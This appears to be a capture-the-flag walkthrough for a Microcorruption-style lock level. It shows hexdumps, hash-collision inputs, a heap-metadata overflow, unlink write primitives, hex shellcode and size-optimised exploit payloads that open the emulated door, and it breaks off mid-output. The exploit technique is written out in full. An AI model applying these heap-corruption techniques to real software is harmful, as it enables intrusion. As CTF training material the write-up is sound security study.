5230: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5240: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5250: *
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 .............R.R
5280: b500 7573 6572 3500 0000 0000 0000 0000 ..user5.........
5290: 0000 e803 7573 6572 3130 0000 0000 0000 ....user10......
52a0: 0000 0000 e803 0000 0000 0000 0000 0000 ................
52b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
52c0: *
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 ............|R<S
52e0: b500 7573 6572 3400 0000 0000 0000 0000 ..user4.........
52f0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5300: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5310: *
5330: 0000 0000 0000 0000 0000 0000 dc52 0050 .............R.P
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000 |...............
5350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5360: *
Hash Bucket 6
>>> hash_username(binascii.hexlify(b'user5')) % 8
6
>>> hash_username(binascii.hexlify(b'user10')) % 8
6
5000: 0050 1050 1500 0a00 0300 0500 1650 2c50 .P.P.........P,P
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0100 0100 "R.R.R.P<P!.....
5030: 0200 0100 0100 0100 0200 0100 2650 9c50 ............&P.P
5040: b500 7573 6572 3300 0000 0000 0000 0000 ..user3.........
5050: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5070: *
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 7573 6572 3200 0000 0000 0000 0000 ..user2.........
50b0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
50c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50d0: *
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 7573 6572 3100 0000 0000 0000 0000 ..user1.........
5110: 0000 e803 7573 6572 3900 0000 0000 0000 ....user9.......
5120: 0000 0000 e803 0000 0000 0000 0000 0000 ................
5130: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5140: *
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 .............P.Q
5160: b500 7573 6572 3800 0000 0000 0000 0000 ..user8.........
5170: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5180: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5190: *
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52 ............\Q.R
51c0: b500 7573 6572 3700 0000 0000 0000 0000 ..user7.........
51d0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
51e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
51f0: *
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 .............Q|R
5220: b500 7573 6572 3600 0000 0000 0000 0000 ..user6.........
5230: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5240: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5250: *
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 .............R.R
5280: b500 7573 6572 3500 0000 0000 0000 0000 ..user5.........
5290: 0000 e803 7573 6572 3130 0000 0000 0000 ....user10......
52a0: 0000 0000 e803 0000 0000 0000 0000 0000 ................
52b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
52c0: *
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 ............|R<S
52e0: b500 7573 6572 3400 0000 0000 0000 0000 ..user4.........
52f0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5300: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5310: *
5330: 0000 0000 0000 0000 0000 0000 dc52 0050 .............R.P
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000 |...............
5350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5360: *
Hash Bucket 7
>>> hash_username(binascii.hexlify(b'user4')) % 8
7
5000: 0050 1050 1500 0a00 0300 0500 1650 2c50 .P.P.........P,P
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0100 0100 "R.R.R.P<P!.....
5030: 0200 0100 0100 0100 0200 0100 2650 9c50 ............&P.P
5040: b500 7573 6572 3300 0000 0000 0000 0000 ..user3.........
5050: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5070: *
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 7573 6572 3200 0000 0000 0000 0000 ..user2.........
50b0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
50c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50d0: *
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 7573 6572 3100 0000 0000 0000 0000 ..user1.........
5110: 0000 e803 7573 6572 3900 0000 0000 0000 ....user9.......
5120: 0000 0000 e803 0000 0000 0000 0000 0000 ................
5130: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5140: *
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 .............P.Q
5160: b500 7573 6572 3800 0000 0000 0000 0000 ..user8.........
5170: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5180: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5190: *
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52 ............\Q.R
51c0: b500 7573 6572 3700 0000 0000 0000 0000 ..user7.........
51d0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
51e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
51f0: *
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 .............Q|R
5220: b500 7573 6572 3600 0000 0000 0000 0000 ..user6.........
5230: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5240: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5250: *
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 .............R.R
5280: b500 7573 6572 3500 0000 0000 0000 0000 ..user5.........
5290: 0000 e803 7573 6572 3130 0000 0000 0000 ....user10......
52a0: 0000 0000 e803 0000 0000 0000 0000 0000 ................
52b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
52c0: *
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 ............|R<S
52e0: b500 7573 6572 3400 0000 0000 0000 0000 ..user4.........
52f0: 0000 e803 0000 0000 0000 0000 0000 0000 ................
5300: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5310: *
5330: 0000 0000 0000 0000 0000 0000 dc52 0050 .............R.P
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000 |...............
5350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5360: *
Data Structure Analysis
Consider the following section of memory. Each username resides in a fixed-length sixteen-byte buffer.
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 7573 6572 3100 0000 0000 0000 0000 ..user1.........
5110: 0000 e803 7573 6572 3900 0000 0000 0000 ....user9.......
5120: 0000 0000 e803 0000 0000 0000 0000 0000 ................
5130: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5140: *
Aside from the username, the following data is also visible.
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 7573 6572 3100 0000 0000 0000 0000 ..user1.........
5110: 0000 e803 7573 6572 3900 0000 0000 0000 ....user9.......
5120: 0000 0000 e803 0000 0000 0000 0000 0000 ................
5130: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5140: *
The value 0xe803 is an integer equal to decimal 1000 after reversing the endianness and converting from hex, which matches the pin supplied earlier.
$ python3 -c "import binascii; value = 'e803'; print(int(binascii.hexlify(binascii.unhexlify(value)[::-1]).decode(), 16))"
1000
Last, there is the metadata for the heap chunk containing the hash bucket, visible just before the first username string.
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 .............P\Q
5100: b500 7573 6572 3100 0000 0000 0000 0000 ..user1.........
5110: 0000 e803 7573 6572 3900 0000 0000 0000 ....user9.......
5120: 0000 0000 e803 0000 0000 0000 0000 0000 ................
5130: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5140: *
In order, these three words are:
bk(the back pointer for the current heap chunk)fd(the forward pointer for the current heap chunk)size(for the current heap chunk).
Unlike on GLIBC, these words are present regardless of the chunk's allocation status and are not stored inline, necessitating an actual heap overflow rather than just a use-after-free.
Vulnerability Analysis
Each account occupies 18 bytes of memory—counting the additional two bytes for the pin. The copy operation truncates usernames longer than fifteen bytes, so submitting an arbitrarily long one to overflow the heap metadata for the next chunk is impossible.
It is, however, possible to craft inputs such that all accounts end up in the same hash bucket. Each heap chunk is 90 bytes long. After five accounts, the username for the sixth will overlap the metadata for the subsequent heap chunk.
Input:
new user05 0002;new user16 0002;new user27 0002;new user38 0002;new user49 0002;new bbbbbbbbbbbbbbbb 0002Output:
Adding user account user05 with pin 0002.
Adding user account user16 with pin 0002.
Adding user account user27 with pin 0002.
Adding user account user38 with pin 0002.
Adding user account user49 with pin 0002.
Adding user account bbbbbbbbbbbbbbbb with pin 0002.
Memory:
5000: 0050 1050 1500 0000 0300 0500 1650 2c50 .P.P.........P,P
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0000 0000 "R.R.R.P<P!.....
5030: 0000 0000 0000 0000 0000 0000 2650 9c50 ............&P.P
5040: b500 0000 0000 0000 0000 0000 0000 0000 ................
5050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 0000 0000 0000 0000 0000 0000 0000 ................
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50c0: * 5000: 0050 1050 1500 0600 0300 0500 1650 2c50 .P.P.........P,P
5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q
5020: 2252 8252 e252 1050 3c50 2100 0600 0000 "R.R.R.P<P!.....
5030: 0000 0000 0000 0000 0000 0000 2650 9c50 ............&P.P
5040: b500 7573 6572 3035 0000 0000 0000 0000 ..user05........
5050: 0000 0200 7573 6572 3136 0000 0000 0000 ....user16......
5060: 0000 0000 0200 7573 6572 3237 0000 0000 ......user27....
5070: 0000 0000 0000 0200 7573 6572 3338 0000 ........user38..
5080: 0000 0000 0000 0000 0200 7573 6572 3439 ..........user49
5090: 0000 0000 0000 0000 0000 0200 6262 6262 ............bbbb
50a0: 6262 6262 6262 6262 6262 6200 0200 0000 bbbbbbbbbbb.....
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50c0: * The fd and bk pointers both point to address 0x6262. This heap overflow allows corrupting the metadata for the next chunk and the nine succeeding bytes.
Triggering The Unlink
There must be a way to free the heap chunk at address 0x509c for this vulnerability to be exploitable.
Rehash Function
Adding 12 user accounts results in a call to the rehash function, which performs the following operations.
- Allocate sixteen new heap chunks for a new sixteen-bucket hash table.
- Traverse the existing hash table and calculate which new buckets should store the existing usernames.
- Copy the usernames to their respective buckets in the new table.
- Free the old table.
Crucially, the last step should free the overflowed chunk and trigger the arbitrary write. Adding the first six accounts is necessary to cause the overflow, so adding another six will trigger this behavior.
Additional Input:
new user1 0002;new user2 0002;new user3 0002;new user4 0002;new user5 0002;new user6 0002Additional Output:
Adding user account user1 with pin 0002.
Adding user account user2 with pin 0002.
Adding user account user3 with pin 0002.
Adding user account user4 with pin 0002.
Adding user account user5 with pin 0002.
Adding user account user6 with pin 0002.The implementation dereferences the corrupted back pointer (bk) and writes data near address 0x6262, demonstrating that the bug is exploitable.
6260: 0000 0000 c250 4600 0000 0000 0000 0000 .....PF.........
6270: 0000 0000 0000 0000 0000 0000 0000 0000 ................
6280: *
Exploit Development
In theory, this means it is possible to overwrite a return address. Consider the following proof of concept.
┌─────────┬─────────┐
│COLLISION│PIN │
│BYTE │DELIMITER│
└──────┐ │ ┌──────┘
│ │ │
┌───────────┬─────┬─────┬─────┤ │ │
│COMMAND │BK │FD │SIZE │ │ │
┌───────┬─────┼───────────┼─────┼─────┼─────┼──┼──┼───────────┐
│ │HEX │6e 65 77 20│ca fe│30 30│ff ff│74│20│30 30 30 32│
│EXPLOIT├─────┼──┬──┬──┬──┼──┬──┼──┬──┼──┬──┼──┼──┼──┬──┬──┬──┤
│ │ASCII│n │e │w │ │ │ │0 │0 │ │ │t │ │0 │0 │0 │2 │
└───────┴─────┴──┴──┴──┴──┼──┴──┴──┴──┴──┴──┴──┼──┼──┴──┴──┴──┤
│USERNAME │ │PIN │
└────────────────────┘ └───────────┘
After adding five accounts to hash bucket zero, the username in the above command will overflow the heap metadata for the chunk containing hash bucket 1.
5090: 0000 0000 0000 0000 0000 0200 3c50 fc50 ............<P.P
50a0: b500 0000 0000 0000 0000 0000 0000 0000 ................
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50c0: * 5090: 0000 0000 0000 0000 0000 0200 cafe 3030 ..............00
50a0: ffff 7400 0000 0000 0000 0000 0200 0000 ..t.............
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50c0: *
Breakdown
Pin delimiter: the first space or null signals the start of the pin.
┌───────┬─────┬───────────────────────────────────────────────┐
│ │HEX │6e 65 77 20 ca fe 30 30 ff ff 74 20 30 30 30 32│
│EXPLOIT├─────┼──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┤
│ │ASCII│n │e │w │ │ │ │0 │0 │ │ │t │ │0 │0 │0 │2 │
└───────┴─────┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┘
Back pointer: the bk pointer should be set to the value to write. The free function will attempt to dereference this as a pointer, so it must be even. Setting it to a recognizable dummy value is sufficient for testing purposes.
┌───────┬─────┬───────────────────────────────────────────────┐
│ │HEX │6e 65 77 20 ca fe 30 30 ff ff 74 20 30 30 30 32│
│EXPLOIT├─────┼──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┤
│ │ASCII│n │e │w │ │ │ │0 │0 │ │ │t │ │0 │0 │0 │2 │
└───────┴─────┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┘
5090: 0000 0000 0000 0000 0000 0200 cafe 3030 ..............00
50a0: ffff 7400 0000 0000 0000 0000 0200 0000 ..t.............
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50c0: *
Forward pointer: set the fd pointer to the target address at which to write the dummy value. The stack is in the 0x3000-0x4000 address range, so fd is set to 0x3030 for testing purposes.
┌───────┬─────┬───────────────────────────────────────────────┐
│ │HEX │6e 65 77 20 ca fe 30 30 ff ff 74 20 30 30 30 32│
│EXPLOIT├─────┼──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┤
│ │ASCII│n │e │w │ │ │ │0 │0 │ │ │t │ │0 │0 │0 │2 │
└───────┴─────┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┘
5090: 0000 0000 0000 0000 0000 0200 cafe 3030 ..............00
50a0: ffff 7400 0000 0000 0000 0000 0200 0000 ..t.............
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50c0: *
Size: changing the size field is not essential, and leaving it unaltered as 0xB500 is preferable. The issue is that the bytes 0x00 and 0x20 (nulls and spaces) delimit the beginning of the pin. Because the size field is before the pin, it cannot have either of these characters in it. The size is set to 0xFFFF to satisfy this constraint.
┌───────┬─────┬───────────────────────────────────────────────┐
│ │HEX │6e 65 77 20 ca fe 30 30 ff ff 74 20 30 30 30 32│
│EXPLOIT├─────┼──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┤
│ │ASCII│n │e │w │ │ │ │0 │0 │ │ │t │ │0 │0 │0 │2 │
└───────┴─────┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┘
5090: 0000 0000 0000 0000 0000 0200 cafe 3030 ..............00
50a0: ffff 7400 0000 0000 0000 0000 0200 0000 ..t.............
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50c0: *
It is also necessary that the size has the least significant bit (the "in-use" bit) set—otherwise, malloc will incorrectly interpret the corrupted chunk as free when the rehash function is allocating space for the new hash table. If the algorithm parses the chunk as free, it will cause the new hash table to partially overlap the old one—which is messy and unnecessary.
Hash table collision byte: most of the time, there will need to be an extra byte that can be set to an arbitrary value so that the username will end up in the correct hash bucket (bucket zero).
Without collision byte:
>>> hash_username(b'cafe3030ffff') % 8
4
With collision byte:
>>> hash_username(b'cafe3030ffff' + b'74') % 8
0
┌───────┬─────┬───────────────────────────────────────────────┐
│ │HEX │6e 65 77 20 ca fe 30 30 ff ff 74 20 30 30 30 32│
│EXPLOIT├─────┼──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┤
│ │ASCII│n │e │w │ │ │ │0 │0 │ │ │t │ │0 │0 │0 │2 │
└───────┴─────┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┘
Full PoC
The test exploit, which should write the value 0xcafe at address 0x3030, is as follows from start to finish.
Padding Accounts:
new user05 0002;new user16 0002;new user27 0002;new user38 0002;new user49 0002Heap Overflow (Hex):
6e657720cafe3030ffff742030303032Rehash Trigger Accounts:
new user1 0002;new user2 0002;new user3 0002;new user4 0002;new user5 0002;new user6 0002
Heap Exhaustion
The above exploit fails with the "Heap exhausted" error message, and the processor halts execution.
Output:
Adding user account user05 with pin 0002.
Adding user account user16 with pin 0002.
Adding user account user27 with pin 0002.
Adding user account user38 with pin 0002.
Adding user account user49 with pin 0002.
Adding user account 00t with pin 0002.
Adding user account user1 with pin 0002.
Adding user account user2 with pin 0002.
Adding user account user3 with pin 0002.
Adding user account user4 with pin 0002.
Adding user account user5 with pin 0002.
Adding user account user6 with pin 0002.
Heap exausted; aborting.
There is no data written at address 0x3030.
3030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Debugging
This failure occurs when space is allocated for the new hash table and stems from a conditional in malloc. When traversing the double-linked list to search for free chunks, the algorithm has two ways to determine whether it is at the end (i.e., whether the heap is exhausted).
- Check whether
fdis higher in memory than the current chunk. - Check whether
fdis higher in memory than the start of the heap.
The heap starts at address 0x5000 on this firmware version—unlike Algiers, where it begins at a lower address than the stack. Here, both the stack and text segments reside in the 0x3000-0x4F00 range. Either of the above checks breaks the exploit because all realistic write targets are in lower memory than the heap.
Reverting the forward pointer to its original value and tweaking the collision byte corrects this error.
Heap Overflow (Hex):
6e657720cafefc50ffff702030303032This exploit writes the forward pointer near address 0xfeca (0xcafe after reversing the endianness).
fec0: 0000 0000 0000 0000 0000 0000 fc50 0400 .............P..
fed0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
fee0: *
Random Write Primitive
This constraint is problematic because it does not allow direct control of the value written. The traditional dlmalloc exploit uses the back pointer as the value to write and the forward pointer as the target address. For now, the forward pointer must point to a valid heap chunk higher in memory than the current one.
Thinking Outside The Box
DEP is absent on Chernobyl, so most people aim the back pointer at instruction memory and overwrite text segment code with the forward pointer. This technique is equivalent to being able to overwrite arbitrary words with NOP instructions.
This approach is very similar to technique #3 from the Algiers walkthrough mentioned earlier, except without the ability to control the value to write.
The most common target is the following instruction.
This conditional block executes when the user supplies an invalid command. Corrupting the above instruction misaligns the stack frame and causes it to overlap a large buffer storing unparsed commands. The corrupted code will pop several words off the stack and then return to an attacker-controlled word.
Exploit Modifications
The existing exploit must be tweaked as follows.
Heap Overflow (Hex):
6e657720c64cfc50ffff622030303032After supplying the usual inputs, sending any character other than "a" or "n" will parse as an invalid command and cause the routine with the overwritten instruction to execute.
Input:
testOutput:
Invalid command.The run function will then skip adding 0x600 to the stack pointer and crash after returning to the following null word.
3dc0: 004d 0100 124d 7448 3a50 2450 0650 b849 .M...MtH:P$P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0200 004d .....Z.....P...M
3de0: 0300 744d 0000 0a00 ec3d 374c 7465 7374 ..tM.....=7Ltest
3df0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Debugger Output:
insn address unaligned
CPUOFF flag set; program no longer running. CPU must now be reset.
Payload Code
Achieving code execution requires substituting the "test" string with the following payload.
324000ffb0121000ec3dThis "command" contains the shellcode and return address.
┌───────────────────────┬───────┐
│SHELLCODE │RETURN │
│ │ADDRESS│
├─────┬─────┬─────┬─────┼───────┤
│32 40│00 ff│b0 12│10 00│ ec 3d │
└─────┴─────┴─────┴─────┴───┬───┘
▲ │
└────────────────────────┘
The return address above is at the same offset as the null word from earlier.
3dc0: 004d 0100 124d 7448 3a50 2450 0650 b849 .M...MtH:P$P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0200 004d .....Z.....P...M
3de0: 0300 744d 0000 0a00 ec3d 374c 3240 00ff ..tM.....=7L2@..
3df0: b012 1000 ec3d 0000 0000 0000 0000 0000 .....=..........
Arbitrary Code Execution
The final exploit is as follows, including the step to inject the shellcode and return address.
Padding Accounts:
new user05 0002;new user16 0002;new user27 0002;new user38 0002;new user49 0002Heap Overflow (Hex):
6e657720c64cfc50ffff622030303032Rehash Trigger Accounts:
new user1 0002;new user2 0002;new user3 0002;new user4 0002;new user5 0002;new user6 0002
Invalid Command Payload (Hex):
324000ffb0121000ec3dResult
If you were not connected to the debug lock, the door would now be open.
Try running "solve" in the debug console to see if this solution works without the debugger attached.
The CPU completed in 125800 cycles.
Summary
The above exploit is inelegant but effective, accomplishing the practical objective of acquiring code execution. There are multiple issues with it, however.
- It would be preferable to have an arbitrary write primitive. This exploit is dependent on a brittle implementation-specific behavior.
- It is too long to be anywhere near the top of the input size leaderboard.
Dealing with these issues is necessary to shorten the exploit to 59 bytes.
Exploit Size Optimization
The current exploit is 194 bytes.
>>> import binascii
>>> len("new user05 0002;new user16 0002;new user27 0002;new user38 0002;new user49 0002")
79
>>> len(binascii.unhexlify(b'6e657720c64cfc50ffff622030303032'))
16
>>> len("new user1 0002;new user2 0002;new user3 0002;new user4 0002;new user5 0002;new user6 0002")
89
>>> len(binascii.unhexlify(b'324000ffb0121000ec3d'))
10
>>> 79+16+89+10
194
Hitting Double Digit Leaderboard Rankings
The immediate starting place is to shorten data that is not essential to the exploit as much as possible. Due to the large amount of non-printing characters, all further snippets represent the exploit stages in hex. The following Python function calculates the exploit size.
def get_size(exploit_text):
exploit = open(exploit_text, "r")
commands = exploit.readlines()
commands = [x.strip() for x in commands]
length = sum([len(binascii.unhexlify(x.encode())) for x in commands])
return length
Avoiding Command Batching
The semicolon that separates commands is an extra character. While convenient, nothing prevents each "new" command from being sent individually.
Shortening Usernames
Each username only needs to be a single byte. Single, non-printing characters work well.
6e657720f02030303032
6e657720e02030303032
6e657720d02030303032
6e657720c02030303032
6e657720b02030303032
6e657720c64cfc50ffff622030303032
6e657720aa2030303032
6e657720bb2030303032
6e657720cc2030303032
6e657720dd2030303032
6e657720ee2030303032
6e657720ff2030303032
324000ffb0121000ec3d
>>> get_size("exploit.txt")
136
Eliminating Pins
Recall that either a space or a null byte delimits the pin. Because the firmware clears the input buffer between reads, there is an implicit null byte after any input. This oddity means that omitting the pin from the "new" command causes the implementation to parse it as if it is zero.
Input:
new a
Output:
Adding user account a with pin 0000.
In other words, omitting the pin from every command is possible.
6e657720f0
6e657720e0
6e657720d0
6e657720c0
6e657720b0
6e657720c64cfc50ffff62
6e657720aa
6e657720bb
6e657720cc
6e657720dd
6e657720ee
6e657720ff
324000ffb0121000ec3d
>>> get_size("exploit.txt")
76Null Username
The implementation only parses the first byte of each command ("a" or "n") and ignores anything between the first byte and the fifth byte, which means that the following command is valid.
Input:
n
Output:
Adding user account with pin 0000.
The above command only reads one byte into the input buffer. The rest of that buffer contains null bytes, which means that the offset where the username would usually start contains a null byte, which parses as the username. This bug allows shortening one of the "new" commands to only the letter "n".
6e657720f0
6e657720e0
6e657720d0
6e657720c0
6e657720b0
6e657720c64cfc50ffff62
6e657720aa
6e657720bb
6e657720cc
6e657720dd
6e657720ee
6e
324000ffb0121000ec3d
This hack only works once, however. Attempting to do this a second time produces the following result.
Output:
User already has an account.
While not immediately relevant from a length standpoint, this also means most characters in the "new" command are replaceable with nulls without side effects.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000c64cfc50ffff62
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e000000ee
6e
324000ffb0121000ec3d
>>> get_size("exploit.txt")
72
Theoretical Limits
At this point, the exploit is 72 bytes long, and little can reduce the size without breaking it.
Without getting into details, it is necessary to note that the overflow must occur in hash bucket zero and overwrite the heap metadata for hash bucket one—otherwise, the previous chunk merging forward will corrupt the overflowed back pointer. Avoiding reliance on the back pointer would require the capability to set the forward pointer to arbitrary addresses, which is impossible because that would break the linked list. The free function is only called after malloc follows the forward pointers to traverse the linked list, which means the heap exhaustion error will trigger before the arbitrary write.
Pruning Excess Bytes
The return address must remain at its current offset, or the implementation will return to a null word.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000c64cfc50ffff62
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e000000ee
6e
324000ffb0121000ec3d
There must be padding preceding the return address to align it correctly, so making the shellcode shorter will not affect the length of the exploit. All accounts are the minimum possible length. There is only one place to prune: the overflow.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000c64cfc50ffff62
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e000000ee
6e
324000ffb0121000ec3d
The collision byte, size, and forward pointer do not affect the overflow; they are set to the above values to avoid breaking the exploit, but there is a range that will work instead. There are two crucial requirements:
- Avoid causing the "heap exhaustion" error.
- Ensure the overflow occurs in the correct hash bucket.
Given an eight-bucket hash table, any target address has a 1 in 8 chance of hashing to bucket zero. Supposing it does, that renders the forward pointer, size, and collision byte unnecessary.
Assuming the stars align perfectly, only overflowing the back pointer is required.
6e000000c64cThis approach does not work in practice because the above target address does not hash to bucket zero when read as a username.
>>> hash_username(b'c64c') % 8
2
There may be other viable instructions or data structures resident at a location that hashes to bucket zero, but the address used up to this point (0x4cc6) does not.
Even if that were the case, the exploit size could shrink by no more than five bytes. It is thus impossible, using the random write primitive discussed heretofore, to craft an exploit shorter than 67 bytes. In the best-case scenario, that nets a leaderboard ranking in the top two dozen—a far cry from the 59-byte record.
Hitting Top Fifteen
Sixty-six bytes is the dividing line between people who understand the heap implementation and those who do not. Crossing this threshold requires an entirely different technique.
Arbitrary Writes Via Size Field Arithmetic
The crucial breakthrough is realizing that it is possible to abuse the size field to perform arbitrary writes. This technique was described previously in the walkthrough for Algiers.
┌────────┬────────┬────────┬──────────────────────────┐
│ 8888 │ cccc │ eeee │ .... .... .... .... .... │
└────────┴────────┴──┬──┬──┴──────────────────────────┘
│ │
▼ ▼
┌────┐ ┌────┐ ┌────┐
│eeee│+│0000│+│000c│
└────┘ └────┘ └────┘
▲ ▲
│ │
┌───────┬────────┬────────┬──┴──┴──┐
│DATA │ 0000 │ 0000 │ 0000 │
├───────┼────────┼────────┼────────┤
│ADDRESS│ 0x8888 │ 0x888a │ 0x888c │
└───────┴────────┴────────┴────────┘
┌────────┬────────┬────────┬──────────────────────────┐
│ 8888 │ cccc │ eeee │ .... .... .... .... .... │
└────────┴────────┴────────┴──────────────────────────┘
┌────┐
│eefa│
└┬──┬┘
│ │
▼ ▼
┌───────┬────────┬────────┬────────┐
│DATA │ 0000 │ 0000 │ eefa │
├───────┼────────┼────────┼────────┤
│ADDRESS│ 0x8888 │ 0x888a │ 0x888c │
└───────┴────────┴────────┴────────┘
In this case, avoiding malloc allocating the corrupted chunk and breaking the exploit requires setting the "in-use bit" on the size. That aside, the technique works the same way.
>>> shellcode_address = 0x3df0
>>> return_address = 0x49a2
>>> hex((shellcode_address-return_address-6+1) & 0xffff)
'0xf449'
This exploit will add the corrupted size field to the return address for one of the calls to free.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000ca3dfc5049f4fa
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e000000324000ffb01210
Additionally, there is no need to provide an invalid command at the end, as execution is redirected just after the first call to free. This change allows the omission of the null byte at the end of the shellcode—saving one byte. The shellcode can also be sent as the last username to trigger the rehash.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000ca3dfc5049f4fa
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e000000324000ffb01210
>>> get_size("exploit.txt")
68
Injecting Shellcode In Command Names
The firmware only parses the first letter of the command, which is what allows the substitution of the "e", "w", and space characters in the "new" command with nulls. Seeing as these bytes are unused anyway, nothing prevents shellcode from being stored there.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000ca3dfc5047f4fc
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00324000ffb01210
Accounting for the shellcode shifting two bytes lower in memory requires tweaking the size field and collision byte.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000ca3dfc5047f4fc
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00324000ffb01210
There is a minor hiccup, as the above exploit fails with the following error.
Output:
Adding user account with pin 0000.
Adding user account with pin 0000.
Adding user account with pin 0000.
Adding user account with pin 0000.
Adding user account with pin 0000.
